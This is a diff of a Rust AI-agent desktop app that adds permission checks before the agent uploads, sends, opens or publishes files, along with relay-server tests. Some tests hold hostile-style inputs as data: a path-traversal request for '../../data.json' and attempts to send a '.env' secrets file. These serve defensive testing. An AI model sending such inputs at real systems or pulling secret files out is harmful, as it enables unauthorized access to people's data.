// …and until the new one is proven, the old secret and its recovery codes stand.
|
||||||
|
assert_ne!(again["secret"], json!(secret));
|
||||||
// Password alone no longer signs in: it buys a challenge, the code signs in.
|
// Password alone no longer signs in: it buys a challenge, the code signs in.
|
||||||
post(port, "/relay/logout", &s, json!({}));
|
post(port, "/relay/logout", &s, json!({}));
|
||||||
let (_, v) = post(port, "/relay/login", "", json!({"user": "d2", "password": "12345678", "device": "phone"}));
|
let (_, v) = post(port, "/relay/login", "", json!({"user": "d2", "password": "12345678", "device": "phone"}));
|
||||||
|
|
@ -1504,6 +1615,21 @@ mod tests {
|
||||||
assert_eq!(get(port, "/s/boss-trip/../../data.json", "").0, 404);
|
assert_eq!(get(port, "/s/boss-trip/../../data.json", "").0, 404);
|
||||||
assert!(!dir.join("evil").exists() && !dir.join("sites").join("evil").exists());
|
assert!(!dir.join("evil").exists() && !dir.join("sites").join("evil").exists());
|
||||||
assert_eq!(post(port, "/relay/host/sites/Bad_Name", &ht, json!({})).0, 400);
|
assert_eq!(post(port, "/relay/host/sites/Bad_Name", &ht, json!({})).0, 400);
|
||||||
|
// Another account whose name and site come to the same folder (「boss-trip」): told
|
||||||
|
// so, and the first one's pages stay (it can't delete them either).
|
||||||
|
relay.data.lock().unwrap().users.push(User { name: "boss-trip".into(), pass: httpd::hash_password("12345678"), ..Default::default() });
|
||||||
|
let (other, other_key) = relay.add_host("boss-trip", "n");
|
||||||
|
assert_eq!(other.user, "boss-trip");
|
||||||
|
let (st, _) = post(port, "/relay/host/sites/x", &other_key, json!({"files": [{"path": "index.html", "data": b("mine")}]}));
|
||||||
|
assert_eq!(st, 200, "its own names are its own");
|
||||||
|
let (st, _) = post(port, "/relay/host/sites/trip-x", &ht, json!({"files": [{"path": "index.html", "data": b("taken over")}]}));
|
||||||
|
assert_eq!(st, 409, "boss + trip-x is boss-trip + x");
|
||||||
|
assert_eq!(post(port, "/relay/host/sites/trip-x", &ht, json!({"remove": true})).0, 409);
|
||||||
|
let mut r = agent.get(&format!("http://127.0.0.1:{port}/s/boss-trip-x/")).call().unwrap();
|
||||||
|
assert_eq!(r.body_mut().read_to_string().unwrap(), "mine");
|
||||||
|
// Its owner takes it down, and the name is free again.
|
||||||
|
assert_eq!(post(port, "/relay/host/sites/x", &other_key, json!({"remove": true})).0, 200);
|
||||||
|
assert_eq!(post(port, "/relay/host/sites/trip-x", &ht, json!({"files": [{"path": "index.html", "data": b("now mine")}]})).0, 200);
|
||||||
let _ = std::fs::remove_dir_all(&dir);
|
let _ = std::fs::remove_dir_all(&dir);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -1600,6 +1726,16 @@ mod tests {
|
||||||
assert_eq!(post(port, "/relay/host/remove", &mtoken, json!({})).0, 200);
|
assert_eq!(post(port, "/relay/host/remove", &mtoken, json!({})).0, 200);
|
||||||
let hosts: Value = serde_json::from_slice(&get(port, "/relay/host/peers", &btoken).1).unwrap();
|
let hosts: Value = serde_json::from_slice(&get(port, "/relay/host/peers", &btoken).1).unwrap();
|
||||||
assert_eq!(hosts["hosts"].as_array().map(|a| a.len()), Some(2));
|
assert_eq!(hosts["hosts"].as_array().map(|a| a.len()), Some(2));
|
||||||
|
// Taken off the list from the phone while it is connected: its connection is told to
|
||||||
|
// go, and what it still asks through it is refused.
|
||||||
|
let hands = relay.data.lock().unwrap().hosts.iter().find(|h| h.id == hid).cloned().unwrap();
|
||||||
|
let (wtx, wrx) = channel::<Vec<u8>>();
|
||||||
|
relay.sockets.lock().unwrap().insert(hid.clone(), Sock { tx: wtx, serial: 0 });
|
||||||
|
assert!(relay.still_registered(&hands));
|
||||||
|
assert_eq!(post(port, &format!("/relay/hosts/{hid}/remove"), &s, json!({})).0, 200);
|
||||||
|
assert!(!relay.sockets.lock().unwrap().contains_key(&hid));
|
||||||
|
assert_eq!(wire::unpack(&wrx.try_recv().unwrap()).unwrap().0["t"], "bye");
|
||||||
|
assert!(!relay.still_registered(&hands));
|
||||||
let _ = std::fs::remove_dir_all(&dir);
|
let _ = std::fs::remove_dir_all(&dir);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -1631,6 +1767,15 @@ mod tests {
|
||||||
.send(json!({"user": "boss", "password": "12345678"}).to_string().as_bytes())
|
.send(json!({"user": "boss", "password": "12345678"}).to_string().as_bytes())
|
||||||
.unwrap();
|
.unwrap();
|
||||||
assert_eq!(rr.status().as_u16(), 429);
|
assert_eq!(rr.status().as_u16(), 429);
|
||||||
|
// The table of failures stays bounded, whatever names are tried and however long.
|
||||||
|
for i in 0..MAX_FAIL_KEYS + 10 {
|
||||||
|
relay.failed(&format!("203.0.113.9|nobody-{i}"));
|
||||||
|
}
|
||||||
|
assert!(relay.fails.lock().unwrap().len() <= MAX_FAIL_KEYS);
|
||||||
|
let long = "x".repeat(100_000);
|
||||||
|
let mut rr = agent.post(&format!("http://127.0.0.1:{port}/relay/login")).send(json!({"user": long, "password": "p"}).to_string().as_bytes()).unwrap();
|
||||||
|
let _ = rr.body_mut().read_to_string();
|
||||||
|
assert!(relay.fails.lock().unwrap().keys().all(|k| k.len() < 200));
|
||||||
let _ = std::fs::remove_dir_all(&dir);
|
let _ = std::fs::remove_dir_all(&dir);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
217
src/agent.rs
217
src/agent.rs
|
|
@ -1261,6 +1261,64 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
|
||||||
// …and neither does AnyBot's own browser (like the reference assistant's own browser).
|
// …and neither does AnyBot's own browser (like the reference assistant's own browser).
|
||||||
let at = web::is_web_tool(&call.name).then(|| browser_place(&job, &call.name, &call.args));
|
let at = web::is_web_tool(&call.name).then(|| browser_place(&job, &call.name, &call.args));
|
||||||
if let Some((place, on)) = at.filter(|(place, _)| call.name == "web_fetch" || bots_browser(place, &call.name, &call.args)) {
|
if let Some((place, on)) = at.filter(|(place, _)| call.name == "web_fetch" || bots_browser(place, &call.name, &call.args)) {
|
||||||
|
// 上傳: a file of this computer on its way to a web page is read on the way,
|
||||||
|
// like one on its way into the chat (the bot's browser asks nothing else, and
|
||||||
|
// any file here could be put on any page). What the person attached for this
|
||||||
|
// bot goes as it is. The path is made whole here, so the browser takes the
|
||||||
|
// very file that was checked.
|
||||||
|
let mut call_args = call.args.clone();
|
||||||
|
if call.name == "browser_upload" && matches!(place, BrowserAt::Here) {
|
||||||
|
let path = tools::args_of(&call.args)["path"].as_str().unwrap_or("").to_string();
|
||||||
|
let here = job.computers.iter().find(|t| matches!(t.place, tools::Place::Local { .. })).cloned().unwrap_or_else(|| tools::Target {
|
||||||
|
name: crate::model::THIS_COMPUTER_NAME.into(),
|
||||||
|
// (Not one of this bot's computers: nothing on it is "inside".)
|
||||||
|
place: tools::Place::Local { workdir: std::env::temp_dir().join("anybot-no-work-folder") },
|
||||||
|
});
|
||||||
|
let named = match &here.place {
|
||||||
|
tools::Place::Local { workdir } => tools::resolve(workdir, &path),
|
||||||
|
_ => std::path::PathBuf::from(&path),
|
||||||
|
};
|
||||||
|
let direct = job.direct.load(Ordering::Relaxed);
|
||||||
|
let decision = if crate::attach::is_given(bot_id, &named) {
|
||||||
|
Decision::Allow
|
||||||
|
} else if job.local_locked {
|
||||||
|
Decision::Deny(format!("「在這台電腦上執行」設成了永不允許(或被管理員關閉),不能上傳「{}」上的檔案。", here.name))
|
||||||
|
} else {
|
||||||
|
match tools::decide_file_out(&here, &path, &grants) {
|
||||||
|
Decision::Allow if !direct && !(tools_on && local_on) => Decision::Ask { reason: format!("把「{}」上的檔案上傳到網頁:{}", here.name, named.display()), grant: String::new() },
|
||||||
|
Decision::Ask { .. } if direct => Decision::Allow,
|
||||||
|
Decision::Ask { grant, .. } => Decision::Ask { reason: format!("把工作資料夾以外的檔案上傳到網頁:{}", named.display()), grant },
|
||||||
|
d => d,
|
||||||
|
}
|
||||||
|
};
|
||||||
|
let refused = match decision {
|
||||||
|
Decision::Allow => None,
|
||||||
|
Decision::Deny(r) => Some(format!("被安全規則擋下:{r}")),
|
||||||
|
Decision::Ask { reason, grant } => {
|
||||||
|
let (atx, arx) = channel();
|
||||||
|
send(StreamEvent::ToolStatus(call.id.clone(), ToolStatus::Waiting));
|
||||||
|
send(StreamEvent::NeedApproval(Approval { call_id: call.id.clone(), tool: call.name.clone(), reason: format!("{reason}\n(在 {} 上)", here.name), grant, reply: atx, kind: ApprovalKind::Action }));
|
||||||
|
match wait_answer(arx, &cancel) {
|
||||||
|
ApprovalAnswer::Once => None,
|
||||||
|
ApprovalAnswer::Always(g) => {
|
||||||
|
keep_grant(&mut grants, g);
|
||||||
|
None
|
||||||
|
}
|
||||||
|
ApprovalAnswer::Reject => Some("使用者拒絕了這個操作。請不要再試同樣的操作,改問使用者想怎麼做。".to_string()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
if cancel.load(Ordering::Relaxed) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if let Some(output) = refused {
|
||||||
|
finish(&mut history, &output, ToolStatus::Denied, None);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let mut v = tools::args_of(&call.args);
|
||||||
|
v["path"] = serde_json::Value::String(named.display().to_string());
|
||||||
|
call_args = v.to_string();
|
||||||
|
}
|
||||||
started();
|
started();
|
||||||
if call.name != "web_fetch" {
|
if call.name != "web_fetch" {
|
||||||
let profile = tools::args_of(&call.args).get("profile").and_then(|p| p.as_str()).unwrap_or("").trim().to_string();
|
let profile = tools::args_of(&call.args).get("profile").and_then(|p| p.as_str()).unwrap_or("").trim().to_string();
|
||||||
|
|
@ -1272,7 +1330,7 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
|
||||||
}
|
}
|
||||||
// 裝置連結: the AnyBot browser of another computer (its own logins).
|
// 裝置連結: the AnyBot browser of another computer (its own logins).
|
||||||
// (On this job's own tabs: another bot may be using the same browser.)
|
// (On this job's own tabs: another bot may be using the same browser.)
|
||||||
let args = with_job(&call.args, &browsers.job);
|
let args = with_job(&call_args, &browsers.job);
|
||||||
let (output, ok, img) = match place {
|
let (output, ok, img) = match place {
|
||||||
BrowserAt::Device(host) => match crate::remote::run_on_device(&host, &call.name, &args, &job.via_name) {
|
BrowserAt::Device(host) => match crate::remote::run_on_device(&host, &call.name, &args, &job.via_name) {
|
||||||
Ok(v) => (v["text"].as_str().unwrap_or("").to_string(), v["ok"].as_bool().unwrap_or(false), v["image"].as_str().map(String::from)),
|
Ok(v) => (v["text"].as_str().unwrap_or("").to_string(), v["ok"].as_bool().unwrap_or(false), v["image"].as_str().map(String::from)),
|
||||||
|
|
@ -1356,6 +1414,50 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
|
||||||
finish(&mut history, &format!("已在使用者的訊息上按了 {emoji}。"), ToolStatus::Done, None);
|
finish(&mut history, &format!("已在使用者的訊息上按了 {emoji}。"), ToolStatus::Done, None);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
// A file on its way out of a computer (into the chat, onto the person's screen) is
|
||||||
|
// read on the way: read_file's walls and read_file's questions, before either
|
||||||
|
// tool below touches it. Both used to run with no check but the secrets list.
|
||||||
|
// (A web address isn't a file.)
|
||||||
|
if call.name == "send_file" || call.name == "open_for_person" {
|
||||||
|
let path = tools::args_of(&call.args)["path"].as_str().unwrap_or("").to_string();
|
||||||
|
let web = call.name == "open_for_person" && (path.starts_with("http://") || path.starts_with("https://"));
|
||||||
|
if let (false, Ok(t)) = (web, target_for(&job, &call.args)) {
|
||||||
|
let direct = job.direct.load(Ordering::Relaxed);
|
||||||
|
let local = matches!(t.place, tools::Place::Local { .. });
|
||||||
|
let refused: Option<(String, ToolStatus)> = if local && job.local_locked {
|
||||||
|
Some((format!("「在這台電腦上執行」設成了永不允許(或被管理員關閉),不能拿「{}」上的檔案。請改用「{}」。", t.name, job.roles.own), ToolStatus::Denied))
|
||||||
|
} else {
|
||||||
|
let decision = match tools::decide_file_out(&t, &path, &grants) {
|
||||||
|
// Using this computer is switched off: its files are asked for one by one.
|
||||||
|
Decision::Allow if local && !direct && !(tools_on && local_on) => {
|
||||||
|
Decision::Ask { reason: format!("{}「{}」上的檔案:{what}", if call.name == "send_file" { "把檔案傳到聊天,來自" } else { "在你的螢幕上打開" }, t.name), grant: String::new() }
|
||||||
|
}
|
||||||
|
// 直接操作 goes ahead where reading the file would.
|
||||||
|
Decision::Ask { .. } if direct => Decision::Allow,
|
||||||
|
d => d,
|
||||||
|
};
|
||||||
|
match decision {
|
||||||
|
Decision::Allow => None,
|
||||||
|
Decision::Deny(r) => Some((format!("被安全規則擋下:{r}"), ToolStatus::Denied)),
|
||||||
|
Decision::Ask { reason, grant } => match ask_person(ApprovalKind::Action, format!("{reason}\n(在 {} 上)", t.name), grant) {
|
||||||
|
ApprovalAnswer::Once => None,
|
||||||
|
ApprovalAnswer::Always(g) => {
|
||||||
|
keep_grant(&mut grants, g);
|
||||||
|
None
|
||||||
|
}
|
||||||
|
ApprovalAnswer::Reject => Some(("使用者拒絕了這個操作。請不要再試同樣的操作,改問使用者想怎麼做。".to_string(), ToolStatus::Denied)),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
};
|
||||||
|
if cancel.load(Ordering::Relaxed) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if let Some((output, status)) = refused {
|
||||||
|
finish(&mut history, &output, status, None);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
// 傳檔案: put a file the bot made into the chat as a card the person can open.
|
// 傳檔案: put a file the bot made into the chat as a card the person can open.
|
||||||
if call.name == "send_file" {
|
if call.name == "send_file" {
|
||||||
started();
|
started();
|
||||||
|
|
@ -1405,6 +1507,7 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
|
||||||
started();
|
started();
|
||||||
let v = tools::args_of(&call.args);
|
let v = tools::args_of(&call.args);
|
||||||
let path = v["path"].as_str().unwrap_or("").to_string();
|
let path = v["path"].as_str().unwrap_or("").to_string();
|
||||||
|
let web = path.starts_with("http://") || path.starts_with("https://");
|
||||||
let on_box = match target_for(&job, &call.args) {
|
let on_box = match target_for(&job, &call.args) {
|
||||||
Ok(t) => match t.place {
|
Ok(t) => match t.place {
|
||||||
tools::Place::Box { dir } => Some(if path.starts_with('/') { path.clone() } else { format!("{dir}/{path}") }),
|
tools::Place::Box { dir } => Some(if path.starts_with('/') { path.clone() } else { format!("{dir}/{path}") }),
|
||||||
|
|
@ -1420,7 +1523,6 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
|
||||||
_ => None,
|
_ => None,
|
||||||
});
|
});
|
||||||
if job.roles.server {
|
if job.roles.server {
|
||||||
let web = path.starts_with("http://") || path.starts_with("https://");
|
|
||||||
let (output, ok) = match (&person_host, web) {
|
let (output, ok) = match (&person_host, web) {
|
||||||
(Some(host), true) => match crate::remote::run_on_device(host, "browser_open", &serde_json::json!({"url": path}).to_string(), &job.via_name) {
|
(Some(host), true) => match crate::remote::run_on_device(host, "browser_open", &serde_json::json!({"url": path}).to_string(), &job.via_name) {
|
||||||
Ok(v) => (format!("[{}] {}", person_now.clone().unwrap_or_default(), v["text"].as_str().unwrap_or("")), v["ok"].as_bool().unwrap_or(false)),
|
Ok(v) => (format!("[{}] {}", person_now.clone().unwrap_or_default(), v["text"].as_str().unwrap_or("")), v["ok"].as_bool().unwrap_or(false)),
|
||||||
|
|
@ -1433,14 +1535,25 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
let local = match (&on_box, target_for(&job, &call.args)) {
|
let local = match (&on_box, target_for(&job, &call.args)) {
|
||||||
|
// A web address is the same address on every computer. (It came after the
|
||||||
|
// file cases, which turned it into a path inside the work folder.)
|
||||||
|
_ if web => Ok(std::path::PathBuf::from(&path)),
|
||||||
(Some(p), _) => crate::cloudbox::copy_out(p),
|
(Some(p), _) => crate::cloudbox::copy_out(p),
|
||||||
(None, Ok(tools::Target { place: tools::Place::Sealed { root }, .. })) => Ok(tools::resolve(&root, &path)),
|
(None, Ok(tools::Target { place: tools::Place::Sealed { root }, .. })) => Ok(tools::resolve(&root, &path)),
|
||||||
(None, Ok(tools::Target { place: tools::Place::Local { workdir }, .. })) => Ok(tools::resolve(&workdir, &path)),
|
(None, Ok(tools::Target { place: tools::Place::Local { workdir }, .. })) => Ok(tools::resolve(&workdir, &path)),
|
||||||
(None, _) if path.starts_with("http://") || path.starts_with("https://") => Ok(std::path::PathBuf::from(&path)),
|
|
||||||
_ => Err(format!("這台電腦上的檔案不能直接打開給使用者看,請先複製到「{}」或這台電腦。", job.roles.own)),
|
_ => Err(format!("這台電腦上的檔案不能直接打開給使用者看,請先複製到「{}」或這台電腦。", job.roles.own)),
|
||||||
};
|
};
|
||||||
// Secrets never open on the person's screen either.
|
// Secrets never open on the person's screen either.
|
||||||
let local = local.and_then(|p| if tools::is_ignored(&p) || tools::is_ignored(std::path::Path::new(&path)) { Err("這個檔案是機密的,不能打開。".to_string()) } else { Ok(p) });
|
let local = local.and_then(|p| if tools::is_ignored(&p) || tools::is_ignored(std::path::Path::new(&path)) { Err("這個檔案是機密的,不能打開。".to_string()) } else { Ok(p) });
|
||||||
|
// Showing is not running: a script or an app would start on the person's
|
||||||
|
// computer, outside every sandbox, the moment it is opened.
|
||||||
|
let local = local.and_then(|p| {
|
||||||
|
if !web && crate::preview::runs_when_opened(&p) {
|
||||||
|
Err("這是程式或指令檔,打開就會在使用者的電腦上執行,所以不能用 open_for_person 打開。要給使用者看內容,用 send_file 傳到聊天裡。".to_string())
|
||||||
|
} else {
|
||||||
|
Ok(p)
|
||||||
|
}
|
||||||
|
});
|
||||||
let (output, ok) = match local {
|
let (output, ok) = match local {
|
||||||
Ok(p) if p.exists() || path.starts_with("http") => match crate::preview::system_open(&p).status() {
|
Ok(p) if p.exists() || path.starts_with("http") => match crate::preview::system_open(&p).status() {
|
||||||
Ok(st) if st.success() => (format!("已在使用者的螢幕上打開 {}。", p.display()), true),
|
Ok(st) if st.success() => (format!("已在使用者的螢幕上打開 {}。", p.display()), true),
|
||||||
|
|
@ -1478,9 +1591,27 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
|
||||||
let path = v["path"].as_str().unwrap_or("").to_string();
|
let path = v["path"].as_str().unwrap_or("").to_string();
|
||||||
let name = v["name"].as_str().unwrap_or("").trim().to_lowercase();
|
let name = v["name"].as_str().unwrap_or("").trim().to_lowercase();
|
||||||
let grant = format!("publish:{name}");
|
let grant = format!("publish:{name}");
|
||||||
let mut allowed = grants.contains(&grant);
|
// What goes on the public web is read first, with read_file's walls: a
|
||||||
|
// secret never, a sealed bot nothing outside its folder. 「一律允許」 is for a
|
||||||
|
// site made in the work folder; from anywhere else (it used to cover any
|
||||||
|
// folder on the computer) the person is asked each time.
|
||||||
|
let walls = match target_for(&job, &call.args) {
|
||||||
|
Ok(t) if matches!(t.place, tools::Place::Local { .. }) && job.local_locked => {
|
||||||
|
Decision::Deny(format!("「在這台電腦上執行」設成了永不允許(或被管理員關閉),不能發布「{}」上的檔案。", t.name))
|
||||||
|
}
|
||||||
|
Ok(t) => tools::decide_file_out(&t, &path, &[]),
|
||||||
|
Err(_) => Decision::Allow,
|
||||||
|
};
|
||||||
|
if let Decision::Deny(r) = walls {
|
||||||
|
finish(&mut history, &format!("被安全規則擋下:{r}"), ToolStatus::Denied, None);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let outside = matches!(walls, Decision::Ask { .. });
|
||||||
|
let grant = if outside { String::new() } else { grant };
|
||||||
|
let mut allowed = !outside && grants.contains(&grant);
|
||||||
if !allowed {
|
if !allowed {
|
||||||
match ask_person(ApprovalKind::Action, format!("把 {path} 發布成公開網站「{name}」(任何知道網址的人都看得到)"), grant.clone()) {
|
let from = if outside { "(在工作資料夾以外)" } else { "" };
|
||||||
|
match ask_person(ApprovalKind::Action, format!("把 {path}{from} 發布成公開網站「{name}」(任何知道網址的人都看得到)"), grant.clone()) {
|
||||||
ApprovalAnswer::Once => allowed = true,
|
ApprovalAnswer::Once => allowed = true,
|
||||||
ApprovalAnswer::Always(g) => {
|
ApprovalAnswer::Always(g) => {
|
||||||
keep_grant(&mut grants, g);
|
keep_grant(&mut grants, g);
|
||||||
|
|
@ -3149,6 +3280,82 @@ echo '<meta charset=utf-8><title>done</title>送出了' > done.html; (setsid pyt
|
||||||
assert!(result.contains("note.txt"), "{result}");
|
assert!(result.contains("note.txt"), "{result}");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// send_file and open_for_person take a file off a computer: they ask what reading it would
|
||||||
|
/// ask, refuse what reading it would refuse, and never start a program on the person's
|
||||||
|
/// screen. (Nothing here is sent or opened: every step is one that must be stopped.)
|
||||||
|
#[test]
|
||||||
|
fn a_file_leaves_a_computer_only_past_the_questions_of_reading_it() {
|
||||||
|
let w = std::env::temp_dir().join(format!("anybot-file-out-{}", std::process::id()));
|
||||||
|
let _ = std::fs::remove_dir_all(&w);
|
||||||
|
let (work, elsewhere) = (w.join("work"), w.join("elsewhere"));
|
||||||
|
std::fs::create_dir_all(&work).unwrap();
|
||||||
|
std::fs::create_dir_all(&elsewhere).unwrap();
|
||||||
|
std::fs::write(elsewhere.join("taxes.pdf"), "x").unwrap();
|
||||||
|
std::fs::write(work.join("run.command"), "true\n").unwrap();
|
||||||
|
std::fs::write(work.join(".env"), "KEY=x").unwrap();
|
||||||
|
std::fs::write(work.join("report.txt"), "x").unwrap();
|
||||||
|
let outside = elsewhere.join("taxes.pdf").display().to_string();
|
||||||
|
let run = |local_execution: bool, replies: Vec<(&'static str, serde_json::Value)>| {
|
||||||
|
let port = fake_model(replies);
|
||||||
|
let job = Job {
|
||||||
|
req: ChatRequest { kind: ProviderKind::Custom, base_url: format!("http://127.0.0.1:{port}/v1"), api_key: String::new(), model: "m".into(), system: String::new(), history: vec![Message::user("把檔案給我")], tools: tools::specs(), session: String::new() },
|
||||||
|
computers: vec![tools::Target { name: crate::model::THIS_COMPUTER_NAME.into(), place: tools::Place::Local { workdir: work.clone() } }],
|
||||||
|
default_computer: crate::model::THIS_COMPUTER_NAME.into(),
|
||||||
|
roles: tools::Roles { own: crate::model::BOT_COMPUTER_NAME.into(), person: Some(crate::model::THIS_COMPUTER_NAME.into()), server: false },
|
||||||
|
local_execution,
|
||||||
|
via: "test".into(),
|
||||||
|
via_name: "Bot".into(),
|
||||||
|
..test_job()
|
||||||
|
};
|
||||||
|
let (tx, rx) = channel();
|
||||||
|
spawn(job, 1, tx, Arc::new(AtomicBool::new(false)), eframe::egui::Context::default());
|
||||||
|
let (mut asked, mut results, mut attached) = (vec![], vec![], 0);
|
||||||
|
loop {
|
||||||
|
match rx.recv_timeout(Duration::from_secs(10)).expect("loop stalled") {
|
||||||
|
(_, StreamEvent::NeedApproval(a)) => {
|
||||||
|
asked.push((a.kind, a.grant.clone(), a.reason.clone()));
|
||||||
|
let _ = a.reply.send(ApprovalAnswer::Reject);
|
||||||
|
}
|
||||||
|
(_, StreamEvent::ToolResult(m)) => results.push(m.text),
|
||||||
|
(_, StreamEvent::Attach(_)) => attached += 1,
|
||||||
|
(_, StreamEvent::Done) => break,
|
||||||
|
(_, StreamEvent::Error(e)) => panic!("{e}"),
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
(asked, results, attached)
|
||||||
|
};
|
||||||
|
// Using this computer is on. Outside the work folder asks (the read_file grant); a
|
||||||
|
// script isn't opened; a secret isn't sent.
|
||||||
|
let (asked, results, attached) = run(
|
||||||
|
true,
|
||||||
|
vec![
|
||||||
|
("send_file", serde_json::json!({"path": outside})),
|
||||||
|
("open_for_person", serde_json::json!({"path": outside})),
|
||||||
|
("open_for_person", serde_json::json!({"path": "run.command"})),
|
||||||
|
("send_file", serde_json::json!({"path": ".env"})),
|
||||||
|
("", serde_json::json!("好")),
|
||||||
|
],
|
||||||
|
);
|
||||||
|
assert_eq!(asked.len(), 2, "{asked:?}\n{results:?}");
|
||||||
|
for (kind, grant, reason) in &asked {
|
||||||
|
assert_eq!((kind, grant.as_str()), (&ApprovalKind::Action, "read:anywhere"));
|
||||||
|
assert!(reason.contains("taxes.pdf"), "{reason}");
|
||||||
|
}
|
||||||
|
assert_eq!(results.len(), 4, "{results:?}");
|
||||||
|
assert!(results[0].contains("使用者拒絕") && results[1].contains("使用者拒絕"), "{results:?}");
|
||||||
|
assert!(results[2].contains("程式或指令檔"), "{results:?}");
|
||||||
|
assert!(results[3].contains("被安全規則擋下"), "{results:?}");
|
||||||
|
assert_eq!(attached, 0);
|
||||||
|
// Using this computer is off: even a file in the work folder is asked for.
|
||||||
|
let (asked, results, attached) = run(false, vec![("send_file", serde_json::json!({"path": "report.txt"})), ("", serde_json::json!("好"))]);
|
||||||
|
assert_eq!(asked.len(), 1, "{asked:?}\n{results:?}");
|
||||||
|
assert!(asked[0].1.is_empty() && asked[0].2.contains("report.txt"), "{asked:?}");
|
||||||
|
assert!(results[0].contains("使用者拒絕"), "{results:?}");
|
||||||
|
assert_eq!(attached, 0);
|
||||||
|
let _ = std::fs::remove_dir_all(&w);
|
||||||
|
}
|
||||||
|
|
||||||
/// 需要處理: the model hands a step to the person; the card's request carries the instruction
|
/// 需要處理: the model hands a step to the person; the card's request carries the instruction
|
||||||
/// and the computer, 「我完成了」 tells the bot to carry on, 「跳過」 that the step is skipped.
|
/// and the computer, 「我完成了」 tells the bot to carry on, 「跳過」 that the step is skipped.
|
||||||
#[test]
|
#[test]
|
||||||
|
|
|
||||||
79
src/app.rs
79
src/app.rs
|
|
@ -176,12 +176,19 @@ pub struct App {
|
||||||
new_allow_rule: String,
|
new_allow_rule: String,
|
||||||
new_ask_rule: String,
|
new_ask_rule: String,
|
||||||
side_drag: Option<f32>,
|
side_drag: Option<f32>,
|
||||||
tx: Sender<(u64, StreamEvent)>,
|
/// What the turns say: (bot, the turn's number, the event). The number is the turn's own
|
||||||
rx: Receiver<(u64, StreamEvent)>,
|
/// (`Live::turn`): a turn that was stopped can still have events on their way, and with
|
||||||
|
/// only the bot to go by they were taken for the next turn's — its text in the new answer,
|
||||||
|
/// its end ending the new turn.
|
||||||
|
tx: Sender<(u64, u64, StreamEvent)>,
|
||||||
|
rx: Receiver<(u64, u64, StreamEvent)>,
|
||||||
|
turn_seq: u64,
|
||||||
show_settings: bool,
|
show_settings: bool,
|
||||||
settings_tab: SettingsTab,
|
settings_tab: SettingsTab,
|
||||||
settings_provider: ProviderKind,
|
settings_provider: ProviderKind,
|
||||||
edit_bot: Option<(Bot, bool)>,
|
edit_bot: Option<(Bot, bool)>,
|
||||||
|
/// The bot as its settings were opened (what 「儲存」 measures the person's changes against).
|
||||||
|
edit_bot_from: Option<Bot>,
|
||||||
confirm_delete: Option<u64>,
|
confirm_delete: Option<u64>,
|
||||||
model_fetch: HashMap<ProviderKind, Receiver<Result<Vec<String>, String>>>,
|
model_fetch: HashMap<ProviderKind, Receiver<Result<Vec<String>, String>>>,
|
||||||
fetch_status: HashMap<ProviderKind, String>,
|
fetch_status: HashMap<ProviderKind, String>,
|
||||||
|
|
@ -316,10 +323,12 @@ impl App {
|
||||||
side_drag: None,
|
side_drag: None,
|
||||||
tx,
|
tx,
|
||||||
rx,
|
rx,
|
||||||
|
turn_seq: 0,
|
||||||
show_settings: false,
|
show_settings: false,
|
||||||
settings_tab: SettingsTab::General,
|
settings_tab: SettingsTab::General,
|
||||||
settings_provider: ProviderKind::Xai,
|
settings_provider: ProviderKind::Xai,
|
||||||
edit_bot: None,
|
edit_bot: None,
|
||||||
|
edit_bot_from: None,
|
||||||
confirm_delete: None,
|
confirm_delete: None,
|
||||||
model_fetch: HashMap::new(),
|
model_fetch: HashMap::new(),
|
||||||
fetch_status: HashMap::new(),
|
fetch_status: HashMap::new(),
|
||||||
|
|
@ -389,6 +398,7 @@ impl App {
|
||||||
steer: Arc::new(Mutex::new(vec![agent::Queued::new("2026-06 的照片先不要動")])),
|
steer: Arc::new(Mutex::new(vec![agent::Queued::new("2026-06 的照片先不要動")])),
|
||||||
direct: Arc::new(AtomicBool::new(false)),
|
direct: Arc::new(AtomicBool::new(false)),
|
||||||
turn_id: "demo".into(),
|
turn_id: "demo".into(),
|
||||||
|
turn: 0,
|
||||||
});
|
});
|
||||||
// Optional view for checking the dialogs in a picture.
|
// Optional view for checking the dialogs in a picture.
|
||||||
match std::env::var("ANYBOT_SHOT_VIEW").as_deref() {
|
match std::env::var("ANYBOT_SHOT_VIEW").as_deref() {
|
||||||
|
|
@ -896,7 +906,9 @@ impl App {
|
||||||
let steer = Arc::new(Mutex::new(Vec::new()));
|
let steer = Arc::new(Mutex::new(Vec::new()));
|
||||||
let turn_id = format!("turn-{bot_id}-{}", chrono::Utc::now().timestamp_millis());
|
let turn_id = format!("turn-{bot_id}-{}", chrono::Utc::now().timestamp_millis());
|
||||||
let direct = Arc::new(AtomicBool::new(self.direct_on()));
|
let direct = Arc::new(AtomicBool::new(self.direct_on()));
|
||||||
self.streams.insert(bot_id, Live { cancel: cancel.clone(), started: Instant::now(), last: Instant::now(), produced: false, status: None, paused: false, steer: steer.clone(), turn_id: turn_id.clone(), direct: direct.clone() });
|
self.turn_seq += 1;
|
||||||
|
let turn = self.turn_seq;
|
||||||
|
